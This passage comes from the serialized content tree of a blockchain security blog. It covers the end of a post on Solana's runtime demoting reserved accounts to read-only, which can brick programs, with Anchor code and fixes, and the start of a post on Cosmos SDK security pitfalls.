:21,"tag":198,"props":75333,"children":75334},{"style":211},[75335],{"type":27,"value":1541},{"type":21,"tag":198,"props":75337,"children":75338},{"style":683},[75339],{"type":27,"value":73577},{"type":21,"tag":198,"props":75341,"children":75342},{"style":683},[75343],{"type":27,"value":13670},{"type":21,"tag":198,"props":75345,"children":75346},{"style":249},[75347],{"type":27,"value":14520},{"type":21,"tag":198,"props":75349,"children":75350},{"style":683},[75351],{"type":27,"value":658},{"type":21,"tag":198,"props":75353,"children":75354},{"style":698},[75355],{"type":27,"value":75356},"is_upgradeable_loader_present",{"type":21,"tag":198,"props":75358,"children":75359},{"style":211},[75360],{"type":27,"value":1837},{"type":21,"tag":198,"props":75362,"children":75363},{"class":200,"line":4638},[75364],{"type":21,"tag":198,"props":75365,"children":75366},{"style":211},[75367],{"type":27,"value":1120},{"type":21,"tag":30,"props":75369,"children":75370},{},[75371],{"type":27,"value":75372},"As you can see, there are two main causes of write-demotion:",{"type":21,"tag":71,"props":75374,"children":75375},{},[75376,75388],{"type":21,"tag":75,"props":75377,"children":75378},{},[75379,75381],{"type":27,"value":75380},"The account appears in the ",{"type":21,"tag":34,"props":75382,"children":75385},{"href":75383,"rel":75384},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[38],[75386],{"type":27,"value":75387},"reserved account list",{"type":21,"tag":75,"props":75389,"children":75390},{},[75391],{"type":27,"value":75392},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":21,"tag":30,"props":75394,"children":75395},{},[75396],{"type":27,"value":75397},"The second case is generally covered by the executable check implemented previously.",{"type":21,"tag":30,"props":75399,"children":75400},{},[75401],{"type":27,"value":75402},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":21,"tag":162,"props":75404,"children":75406},{"id":75405},"the-reserved-account-list",[75407],{"type":27,"value":75408},"The Reserved Account List",{"type":21,"tag":30,"props":75410,"children":75411},{},[75412,75414,75419],{"type":27,"value":75413},"The Solana runtime maintains a ",{"type":21,"tag":34,"props":75415,"children":75417},{"href":75383,"rel":75416},[38],[75418],{"type":27,"value":75387},{"type":27,"value":75420},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":21,"tag":30,"props":75422,"children":75423},{},[75424,75426,75433,75435,75440],{"type":27,"value":75425},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":21,"tag":34,"props":75427,"children":75430},{"href":75428,"rel":75429},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[38],[75431],{"type":27,"value":75432},"feature gate is actived",{"type":27,"value":75434},", the runtime will ",{"type":21,"tag":6137,"props":75436,"children":75437},{},[75438],{"type":27,"value":75439},"automatically demote them to read-only",{"type":27,"value":75441},", even if the transaction marked them as writable.",{"type":21,"tag":187,"props":75443,"children":75445},{"className":3789,"code":75444,"language":3788,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[75446],{"type":21,"tag":194,"props":75447,"children":75448},{"__ignoreMap":7},[75449,75457,75465,75489,75543,75581,75610],{"type":21,"tag":198,"props":75450,"children":75451},{"class":200,"line":201},[75452],{"type":21,"tag":198,"props":75453,"children":75454},{"style":1233},[75455],{"type":27,"value":75456},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":21,"tag":198,"props":75458,"children":75459},{"class":200,"line":217},[75460],{"type":21,"tag":198,"props":75461,"children":75462},{"style":1233},[75463],{"type":27,"value":75464},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":21,"tag":198,"props":75466,"children":75467},{"class":200,"line":236},[75468,75472,75476,75481,75485],{"type":21,"tag":198,"props":75469,"children":75470},{"style":249},[75471],{"type":27,"value":14520},{"type":21,"tag":198,"props":75473,"children":75474},{"style":683},[75475],{"type":27,"value":658},{"type":21,"tag":198,"props":75477,"children":75478},{"style":211},[75479],{"type":27,"value":75480},"reserved_account_keys ",{"type":21,"tag":198,"props":75482,"children":75483},{"style":683},[75484],{"type":27,"value":3174},{"type":21,"tag":198,"props":75486,"children":75487},{"style":211},[75488],{"type":27,"value":233},{"type":21,"tag":198,"props":75490,"children":75491},{"class":200,"line":260},[75492,75496,75500,75505,75509,75514,75518,75522,75526,75530,75534,75538],{"type":21,"tag":198,"props":75493,"children":75494},{"style":249},[75495],{"type":27,"value":3809},{"type":21,"tag":198,"props":75497,"children":75498},{"style":249},[75499],{"type":27,"value":3814},{"type":21,"tag":198,"props":75501,"children":75502},{"style":226},[75503],{"type":27,"value":75504}," reserved_keys",{"type":21,"tag":198,"props":75506,"children":75507},{"style":683},[75508],{"type":27,"value":979},{"type":21,"tag":198,"props":75510,"children":75511},{"style":1966},[75512],{"type":27,"value":75513}," ReservedAccountKeys",{"type":21,"tag":198,"props":75515,"children":75516},{"style":683},[75517],{"type":27,"value":4286},{"type":21,"tag":198,"props":75519,"children":75520},{"style":698},[75521],{"type":27,"value":16224},{"type":21,"tag":198,"props":75523,"children":75524},{"style":211},[75525],{"type":27,"value":706},{"type":21,"tag":198,"props":75527,"children":75528},{"style":683},[75529],{"type":27,"value":3917},{"type":21,"tag":198,"props":75531,"children":75532},{"style":249},[75533],{"type":27,"value":14520},{"type":21,"tag":198,"props":75535,"children":75536},{"style":683},[75537],{"type":27,"value":658},{"type":21,"tag":198,"props":75539,"children":75540},{"style":211},[75541],{"type":27,"value":75542},"reserved_account_keys);\n",{"type":21,"tag":198,"props":75544,"children":75545},{"class":200,"line":281},[75546,75551,75555,75560,75564,75568,75572,75576],{"type":21,"tag":198,"props":75547,"children":75548},{"style":226},[75549],{"type":27,"value":75550}," reserved_keys",{"type":21,"tag":198,"props":75552,"children":75553},{"style":683},[75554],{"type":27,"value":658},{"type":21,"tag":198,"props":75556,"children":75557},{"style":698},[75558],{"type":27,"value":75559},"update_active_set",{"type":21,"tag":198,"props":75561,"children":75562},{"style":211},[75563],{"type":27,"value":706},{"type":21,"tag":198,"props":75565,"children":75566},{"style":683},[75567],{"type":27,"value":3917},{"type":21,"tag":198,"props":75569,"children":75570},{"style":249},[75571],{"type":27,"value":14520},{"type":21,"tag":198,"props":75573,"children":75574},{"style":683},[75575],{"type":27,"value":658},{"type":21,"tag":198,"props":75577,"children":75578},{"style":211},[75579],{"type":27,"value":75580},"feature_set);\n",{"type":21,"tag":198,"props":75582,"children":75583},{"class":200,"line":302},[75584,75589,75593,75597,75601,75606],{"type":21,"tag":198,"props":75585,"children":75586},{"style":1966},[75587],{"type":27,"value":75588}," Arc",{"type":21,"tag":198,"props":75590,"children":75591},{"style":683},[75592],{"type":27,"value":4286},{"type":21,"tag":198,"props":75594,"children":75595},{"style":698},[75596],{"type":27,"value":15927},{"type":21,"tag":198,"props":75598,"children":75599},{"style":211},[75600],{"type":27,"value":706},{"type":21,"tag":198,"props":75602,"children":75603},{"style":226},[75604],{"type":27,"value":75605},"reserved_keys",{"type":21,"tag":198,"props":75607,"children":75608},{"style":211},[75609],{"type":27,"value":789},{"type":21,"tag":198,"props":75611,"children":75612},{"class":200,"line":323},[75613],{"type":21,"tag":198,"props":75614,"children":75615},{"style":211},[75616],{"type":27,"value":2357},{"type":21,"tag":162,"props":75618,"children":75620},{"id":75619},"consequences-silent-failures-and-bricked-programs",[75621],{"type":27,"value":75622},"Consequences: Silent Failures and Bricked Programs",{"type":21,"tag":30,"props":75624,"children":75625},{},[75626],{"type":27,"value":75627},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":21,"tag":187,"props":75629,"children":75631},{"className":3789,"code":75630,"language":3788,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[75632],{"type":21,"tag":194,"props":75633,"children":75634},{"__ignoreMap":7},[75635,75650,75677,75692,75731,75738,75785,75816,75823,75838,75869,75876,75891,75922],{"type":21,"tag":198,"props":75636,"children":75637},{"class":200,"line":201},[75638,75642,75646],{"type":21,"tag":198,"props":75639,"children":75640},{"style":211},[75641],{"type":27,"value":23631},{"type":21,"tag":198,"props":75643,"children":75644},{"style":1966},[75645],{"type":27,"value":23636},{"type":21,"tag":198,"props":75647,"children":75648},{"style":211},[75649],{"type":27,"value":21053},{"type":21,"tag":198,"props":75651,"children":75652},{"class":200,"line":217},[75653,75657,75661,75665,75669,75673],{"type":21,"tag":198,"props":75654,"children":75655},{"style":249},[75656],{"type":27,"value":14497},{"type":21,"tag":198,"props":75658,"children":75659},{"style":249},[75660],{"type":27,"value":21944},{"type":21,"tag":198,"props":75662,"children":75663},{"style":1966},[75664],{"type":27,"value":71690},{"type":21,"tag":198,"props":75666,"children":75667},{"style":211},[75668],{"type":27,"value":23716},{"type":21,"tag":198,"props":75670,"children":75671},{"style":1966},[75672],{"type":27,"value":23721},{"type":21,"tag":198,"props":75674,"children":75675},{"style":211},[75676],{"type":27,"value":8093},{"type":21,"tag":198,"props":75678,"children":75679},{"class":200,"line":236},[75680,75684,75688],{"type":21,"tag":198,"props":75681,"children":75682},{"style":211},[75683],{"type":27,"value":23922},{"type":21,"tag":198,"props":75685,"children":75686},{"style":249},[75687],{"type":27,"value":4530},{"type":21,"tag":198,"props":75689,"children":75690},{"style":211},[75691],{"type":27,"value":21053},{"type":21,"tag":198,"props":75693,"children":75694},{"class":200,"line":260},[75695,75699,75703,75707,75711,75715,75719,75723,75727],{"type":21,"tag":198,"props":75696,"children":75697},{"style":249},[75698],{"type":27,"value":21636},{"type":21,"tag":198,"props":75700,"children":75701},{"style":226},[75702],{"type":27,"value":71729},{"type":21,"tag":198,"props":75704,"children":75705},{"style":683},[75706],{"type":27,"value":185},{"type":21,"tag":198,"props":75708,"children":75709},{"style":1966},[75710],{"type":27,"value":23887},{"type":21,"tag":198,"props":75712,"children":75713},{"style":211},[75714],{"type":27,"value":23716},{"type":21,"tag":198,"props":75716,"children":75717},{"style":1966},[75718],{"type":27,"value":23721},{"type":21,"tag":198,"props":75720,"children":75721},{"style":211},[75722],{"type":27,"value":828},{"type":21,"tag":198,"props":75724,"children":75725},{"style":1966},[75726],{"type":27,"value":71754},{"type":21,"tag":198,"props":75728,"children":75729},{"style":211},[75730],{"type":27,"value":6950},{"type":21,"tag":198,"props":75732,"children":75733},{"class":200,"line":281},[75734],{"type":21,"tag":198,"props":75735,"children":75736},{"emptyLinePlaceholder":16},[75737],{"type":27,"value":1283},{"type":21,"tag":198,"props":75739,"children":75740},{"class":200,"line":302},[75741,75745,75749,75753,75757,75761,75765,75769,75773,75777,75781],{"type":21,"tag":198,"props":75742,"children":75743},{"style":211},[75744],{"type":27,"value":23922},{"type":21,"tag":198,"props":75746,"children":75747},{"style":249},[75748],{"type":27,"value":4530},{"type":21,"tag":198,"props":75750,"children":75751},{"style":211},[75752],{"type":27,"value":71789},{"type":21,"tag":198,"props":75754,"children":75755},{"style":683},[75756],{"type":27,"value":3174},{"type":21,"tag":198,"props":75758,"children":75759},{"style":211},[75760],{"type":27,"value":71798},{"type":21,"tag":198,"props":75762,"children":75763},{"style":683},[75764],{"type":27,"value":658},{"type":21,"tag":198,"props":75766,"children":75767},{"style":211},[75768],{"type":27,"value":71807},{"type":21,"tag":198,"props":75770,"children":75771},{"style":683},[75772],{"type":27,"value":9386},{"type":21,"tag":198,"props":75774,"children":75775},{"style":211},[75776],{"type":27,"value":71729},{"type":21,"tag":198,"props":75778,"children":75779},{"style":683},[75780],{"type":27,"value":658},{"type":21,"tag":198,"props":75782,"children":75783},{"style":211},[75784],{"type":27,"value":71824},{"type":21,"tag":198,"props":75786,"children":75787},{"class":200,"line":323},[75788,75792,75796,75800,75804,75808,75812],{"type":21,"tag":198,"props":75789,"children":75790},{"style":249},[75791],{"type":27,"value":21636},{"type":21,"tag":198,"props":75793,"children":75794},{"style":226},[75795],{"type":27,"value":71798},{"type":21,"tag":198,"props":75797,"children":75798},{"style":683},[75799],{"type":27,"value":185},{"type":21,"tag":198,"props":75801,"children":75802},{"style":1966},[75803],{"type":27,"value":26203},{"type":21,"tag":198,"props":75805,"children":75806},{"style":211},[75807],{"type":27,"value":23716},{"type":21,"tag":198,"props":75809,"children":75810},{"style":1966},[75811],{"type":27,"value":23721},{"type":21,"tag":198,"props":75813,"children":75814},{"style":211},[75815],{"type":27,"value":6950},{"type":21,"tag":198,"props":75817,"children":75818},{"class":200,"line":344},[75819],{"type":21,"tag":198,"props":75820,"children":75821},{"emptyLinePlaceholder":16},[75822],{"type":27,"value":1283},{"type":21,"tag":198,"props":75824,"children":75825},{"class":200,"line":365},[75826,75830,75834],{"type":21,"tag":198,"props":75827,"children":75828},{"style":211},[75829],{"type":27,"value":23922},{"type":21,"tag":198,"props":75831,"children":75832},{"style":249},[75833],{"type":27,"value":4530},{"type":21,"tag":198,"props":75835,"children":75836},{"style":211},[75837],{"type":27,"value":21053},{"type":21,"tag":198,"props":75839,"children":75840},{"class":200,"line":386},[75841,75845,75849,75853,75857,75861,75865],{"type":21,"tag":198,"props":75842,"children":75843},{"style":249},[75844],{"type":27,"value":21636},{"type":21,"tag":198,"props":75846,"children":75847},{"style":226},[75848],{"type":27,"value":71897},{"type":21,"tag":198,"props":75850,"children":75851},{"style":683},[75852],{"type":27,"value":185},{"type":21,"tag":198,"props":75854,"children":75855},{"style":1966},[75856],{"type":27,"value":26203},{"type":21,"tag":198,"props":75858,"children":75859},{"style":211},[75860],{"type":27,"value":23716},{"type":21,"tag":198,"props":75862,"children":75863},{"style":1966},[75864],{"type":27,"value":23721},{"type":21,"tag":198,"props":75866,"children":75867},{"style":211},[75868],{"type":27,"value":6950},{"type":21,"tag":198,"props":75870,"children":75871},{"class":200,"line":408},[75872],{"type":21,"tag":198,"props":75873,"children":75874},{"emptyLinePlaceholder":16},[75875],{"type":27,"value":1283},{"type":21,"tag":198,"props":75877,"children":75878},{"class":200,"line":429},[75879,75883,75887],{"type":21,"tag":198,"props":75880,"children":75881},{"style":211},[75882],{"type":27,"value":23922},{"type":21,"tag":198,"props":75884,"children":75885},{"style":249},[75886],{"type":27,"value":4530},{"type":21,"tag":198,"props":75888,"children":75889},{"style":211},[75890],{"type":27,"value":21053},{"type":21,"tag":198,"props":75892,"children":75893},{"class":200,"line":450},[75894,75898,75902,75906,75910,75914,75918],{"type":21,"tag":198,"props":75895,"children":75896},{"style":249},[75897],{"type":27,"value":21636},{"type":21,"tag":198,"props":75899,"children":75900},{"style":226},[75901],{"type":27,"value":42995},{"type":21,"tag":198,"props":75903,"children":75904},{"style":683},[75905],{"type":27,"value":185},{"type":21,"tag":198,"props":75907,"children":75908},{"style":1966},[75909],{"type":27,"value":23951},{"type":21,"tag":198,"props":75911,"children":75912},{"style":211},[75913],{"type":27,"value":23716},{"type":21,"tag":198,"props":75915,"children":75916},{"style":1966},[75917],{"type":27,"value":23721},{"type":21,"tag":198,"props":75919,"children":75920},{"style":211},[75921],{"type":27,"value":6950},{"type":21,"tag":198,"props":75923,"children":75924},{"class":200,"line":468},[75925],{"type":21,"tag":198,"props":75926,"children":75927},{"style":211},[75928],{"type":27,"value":1120},{"type":21,"tag":30,"props":75930,"children":75931},{},[75932,75934,75940,75942,75948],{"type":27,"value":75933},"This works fine — until one day, ",{"type":21,"tag":194,"props":75935,"children":75937},{"className":75936},[],[75938],{"type":27,"value":75939},"old_king",{"type":27,"value":75941}," is silently demoted. Suddenly, the ",{"type":21,"tag":194,"props":75943,"children":75945},{"className":75944},[],[75946],{"type":27,"value":75947},"#[account(mut)]",{"type":27,"value":75949}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":21,"tag":162,"props":75951,"children":75953},{"id":75952},"real-world-example-write-demotion-with-secp256r1_program",[75954,75956],{"type":27,"value":75955},"Real-World Example: Write-Demotion with ",{"type":21,"tag":194,"props":75957,"children":75959},{"className":75958},[],[75960],{"type":27,"value":75961},"secp256r1_program",{"type":21,"tag":30,"props":75963,"children":75964},{},[75965,75967,75972],{"type":27,"value":75966},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":21,"tag":194,"props":75968,"children":75970},{"className":75969},[],[75971],{"type":27,"value":75961},{"type":27,"value":75973},", a precompiled program gated behind a feature flag:",{"type":21,"tag":187,"props":75975,"children":75977},{"className":3789,"code":75976,"language":3788,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[75978],{"type":21,"tag":194,"props":75979,"children":75980},{"__ignoreMap":7},[75981,76002,76022,76051],{"type":21,"tag":198,"props":75982,"children":75983},{"class":200,"line":201},[75984,75989,75993,75998],{"type":21,"tag":198,"props":75985,"children":75986},{"style":1966},[75987],{"type":27,"value":75988},"ReservedAccount",{"type":21,"tag":198,"props":75990,"children":75991},{"style":683},[75992],{"type":27,"value":4286},{"type":21,"tag":198,"props":75994,"children":75995},{"style":698},[75996],{"type":27,"value":75997},"new_pending",{"type":21,"tag":198,"props":75999,"children":76000},{"style":211},[76001],{"type":27,"value":4268},{"type":21,"tag":198,"props":76003,"children":76004},{"class":200,"line":217},[76005,76010,76014,76018],{"type":21,"tag":198,"props":76006,"children":76007},{"style":211},[76008],{"type":27,"value":76009}," secp256r1_program",{"type":21,"tag":198,"props":76011,"children":76012},{"style":683},[76013],{"type":27,"value":4286},{"type":21,"tag":198,"props":76015,"children":76016},{"style":698},[76017],{"type":27,"value":4291},{"type":21,"tag":198,"props":76019,"children":76020},{"style":211},[76021],{"type":27,"value":4296},{"type":21,"tag":198,"props":76023,"children":76024},{"class":200,"line":236},[76025,76030,76034,76039,76043,76047],{"type":21,"tag":198,"props":76026,"children":76027},{"style":211},[76028],{"type":27,"value":76029}," feature_set",{"type":21,"tag":198,"props":76031,"children":76032},{"style":683},[76033],{"type":27,"value":4286},{"type":21,"tag":198,"props":76035,"children":76036},{"style":211},[76037],{"type":27,"value":76038},"enable_secp256r1_precompile",{"type":21,"tag":198,"props":76040,"children":76041},{"style":683},[76042],{"type":27,"value":4286},{"type":21,"tag":198,"props":76044,"children":76045},{"style":698},[76046],{"type":27,"value":4291},{"type":21,"tag":198,"props":76048,"children":76049},{"style":211},[76050],{"type":27,"value":4296},{"type":21,"tag":198,"props":76052,"children":76053},{"class":200,"line":260},[76054],{"type":21,"tag":198,"props":76055,"children":76056},{"style":211},[76057],{"type":27,"value":789},{"type":21,"tag":30,"props":76059,"children":76060},{},[76061,76063,76068,76070,76076],{"type":27,"value":76062},"Before the ",{"type":21,"tag":194,"props":76064,"children":76066},{"className":76065},[],[76067],{"type":27,"value":76038},{"type":27,"value":76069}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":21,"tag":194,"props":76071,"children":76073},{"className":76072},[],[76074],{"type":27,"value":76075},"secp256r1_program::id()",{"type":27,"value":76077}," as the king in a contract.",{"type":21,"tag":30,"props":76079,"children":76080},{},[76081,76083,76088],{"type":27,"value":76082},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":21,"tag":194,"props":76084,"children":76086},{"className":76085},[],[76087],{"type":27,"value":76075},{"type":27,"value":76089}," becomes the eternal king, and no one can dethrone it.",{"type":21,"tag":162,"props":76091,"children":76093},{"id":76092},"fix-3-preventing-write-demotion-pitfalls",[76094],{"type":27,"value":76095},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":21,"tag":30,"props":76097,"children":76098},{},[76099,76101,76106],{"type":27,"value":76100},"Alright, let’s try to fix this ",{"type":21,"tag":1671,"props":76102,"children":76103},{},[76104],{"type":27,"value":76105},"yet another",{"type":27,"value":76107}," edge case — and hopefully close the book on it.",{"type":21,"tag":162,"props":76109,"children":76111},{"id":76110},"attempt-1-block-known-reserved-accounts",[76112],{"type":27,"value":76113},"Attempt 1: Block Known Reserved Accounts",{"type":21,"tag":30,"props":76115,"children":76116},{},[76117],{"type":27,"value":76118},"One naive solution is to reject any known reserved account, for example:",{"type":21,"tag":187,"props":76120,"children":76122},{"className":2528,"code":76121,"language":2530,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[76123],{"type":21,"tag":194,"props":76124,"children":76125},{"__ignoreMap":7},[76126,76134],{"type":21,"tag":198,"props":76127,"children":76128},{"class":200,"line":201},[76129],{"type":21,"tag":198,"props":76130,"children":76131},{"style":211},[76132],{"type":27,"value":76133}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":21,"tag":198,"props":76135,"children":76136},{"class":200,"line":217},[76137],{"type":21,"tag":198,"props":76138,"children":76139},{"style":2540},[76140],{"type":27,"value":76141},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":21,"tag":30,"props":76143,"children":76144},{},[76145,76147,76152],{"type":27,"value":76146},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":21,"tag":194,"props":76148,"children":76150},{"className":76149},[],[76151],{"type":27,"value":75988},{"type":27,"value":76153}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":21,"tag":162,"props":76155,"children":76157},{"id":76156},"attempt-2-use-a-pda-vault",[76158],{"type":27,"value":76159},"Attempt 2: Use a PDA Vault",{"type":21,"tag":30,"props":76161,"children":76162},{},[76163,76165,76170],{"type":27,"value":76164},"A more future-proof fix is to avoid ",{"type":21,"tag":6137,"props":76166,"children":76167},{},[76168],{"type":27,"value":76169},"transferring lamports to arbitrary accounts",{"type":27,"value":76171}," altogether.",{"type":21,"tag":30,"props":76173,"children":76174},{},[76175],{"type":27,"value":76176},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":21,"tag":22,"props":76178,"children":76180},{"id":76179},"final-thoughts",[76181],{"type":27,"value":76182},"Final Thoughts",{"type":21,"tag":30,"props":76184,"children":76185},{},[76186],{"type":27,"value":76187},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":21,"tag":30,"props":76189,"children":76190},{},[76191],{"type":27,"value":76192},"We can safely transfer lamports to an account under the following conditions:",{"type":21,"tag":138,"props":76194,"children":76195},{},[76196,76201,76206],{"type":21,"tag":75,"props":76197,"children":76198},{},[76199],{"type":27,"value":76200},"It's not executable.",{"type":21,"tag":75,"props":76202,"children":76203},{},[76204],{"type":27,"value":76205},"Its balance, after the transfer, remains rent-exempt.",{"type":21,"tag":75,"props":76207,"children":76208},{},[76209],{"type":27,"value":76210},"It's not a reserved account.",{"type":21,"tag":30,"props":76212,"children":76213},{},[76214],{"type":27,"value":76215},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":21,"tag":3645,"props":76217,"children":76218},{},[76219],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":76221},[76222,76223,76224,76230],{"id":61,"depth":217,"text":64},{"id":71604,"depth":217,"text":71607},{"id":72711,"depth":217,"text":72714,"children":76225},[76226,76227,76229],{"id":72717,"depth":236,"text":72720},{"id":73404,"depth":236,"text":76228},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":74709,"depth":236,"text":74712},{"id":76179,"depth":217,"text":76182},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":76235,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76236,"description":76237,"date":76238,"author":76239,"image":76240,"isFeatured":16,"onBlogPage":16,"tags":76242,"body":76245,"_type":3671,"_id":90130,"_source":3673,"_file":90131,"_stem":90132,"_extension":3676},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":76241,"width":14430,"height":14430},"/posts/cosmos-security/title.png",[76243,76244],"cosmos-sdk","security",{"type":18,"children":76246,"toc":90108},[76247,76251,76256,76261,76267,76272,76277,76282,76543,77032,77051,77056,77061,77066,77072,77077,77112,77122,77629,77649,77662,77668,77673,77678,77919,77924,77932,77944,78306,78311,78316,78352,78361,78787,78808,78814,78834,78855,78874,78906,78918,78930,79584,79612,79621,80061,80088,80108,80113,80134,80183,80192,81424,81452,81458,81463,81468,81488,81775,81809,81990,81995,82000,82044,82053,83245,83496,83509,83515,83549,83554,83617,83622,83642,83661,83673,83692,84384,84389,84394,84422,84431,85316,85343,85349,85369,85374,85387,85561,85574,85665,85670,85678,85688,85838,85843,85863,85871,85876,86274,86286,86291,86332,86343,86363,86671,86676,87601,87613,87621,87626,88619,88624,88636,88656,88675,89589,89646,89752,89764,89769,89774,89802,89811,90037,90063,90076,90090,90094,90099,90104],{"type":21,"tag":22,"props":76248,"children":76249},{"id":61},[76250],{"type":27,"value":64},{"type":21,"tag":30,"props":76252,"children":76253},{},[76254],{"type":27,"value":76255},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":21,"tag":30,"props":76257,"children":76258},{},[76259],{"type":27,"value":76260},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":21,"tag":22,"props":76262,"children":76264},{"id":76263},"its-loopin-time",[76265],{"type":27,"value":76266},"It's Loopin' Time",{"type":21,"tag":30,"props":76268,"children":76269},{},[76270],{"type":27,"value":76271},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":21,"tag":30,"props":76273,"children":76274},{},[76275],{"type":27,"value":76276},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":21,"tag":30,"props":76278,"children":76279},{},[76280],{"type":27,"value":76281},"Here is a simple example for reference:",{"type":21,"tag":187,"props":76283,"children":76285},{"code":76284,"language":5286,"meta":7,"className":5287,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[76286],{"type":21,"tag":194,"props":76287,"children":76288},{"__ignoreMap":7},[76289,76305,76322,76338,76360,76389,76410,76434,76455,76462,76483,76500,76517,76524,76536],{"type":21,"tag":198,"props":76290,"children":76291},{"class":200,"line":201},[76292,76296,76301],{"type":21,"tag":198,"props":76293,"children":76294},{"style":249},[76295],{"type":27,"value":892},{"type":21,"tag":198,"props":76297,"children":76298},{"style":698},[76299],{"type":27,"value":76300}," sumWithStride",{"type":21,"tag":198,"props":76302,"children":76303},{"style":211},[76304],{"type":27,"value":4268},{"type":21,"tag":198,"props":76306,"children":76307},{"class":200,"line":217},[76308,76313,76318],{"type":21,"tag":198,"props":76309,"children":76310},{"style":1966},[76311],{"type":27,"value":76312}," uint64",{"type":21,"tag":198,"props":76314,"children":76315},{"style":226},[76316],{"type":27,"value":76317}," start",{"type":21,"tag":198,"props":76319,"children":76320},{"style":211},[76321],{"type":27,"value":257},{"type":21,"tag":198,"props":76323,"children":76324},{"class":200,"line":236},[76325,76329,76334],{"type":21,"tag":198,"props":76326,"children":76327},{"style":1966},[76328],{"type":27,"value":76312},{"type":21,"tag":198,"props":76330,"children":76331},{"style":226},[76332],{"type":27,"value":76333}," stride",{"type":21,"tag":198,"props":76335,"children":76336},{"style":211},[76337],{"type":27,"value":257},{"type":21,"tag":198,"props":76339,"children":76340},{"class":200,"line":260},[76341,76345,76350,76355],{"type":21,"tag":198,"props":76342,"children":76343},{"style":1966},[76344],{"type":27,"value":76312},{"type":21,"tag":198,"props":76346,"children":76347},{"style":211},[76348],{"type":27,"value":76349},"[] ",{"type":21,"tag":198,"props":76351,"children":76352},{"style":249},[76353],{"type":27,"value":76354},"memory",{"type":21,"tag":198,"props":76356,"children":76357},{"style":226},[76358],{"type":27,"value":76359}," arr\n",{"type":21,"tag":198,"props":76361,"children":76362},{"class":200,"line":281},[76363,76367,76371,76376,76380,76385],{"type":21,"tag":198,"props":76364,"children":76365},{"style":211},[76366],{"type":27,"value":1541},{"type":21,"tag":198,"props":76368,"children":76369},{"style":249},[76370],{"type":27,"value":62053},{"type":21,"tag":198,"props":76372,"children":76373},{"style":640},[76374],{"type":27,"value":76375}," 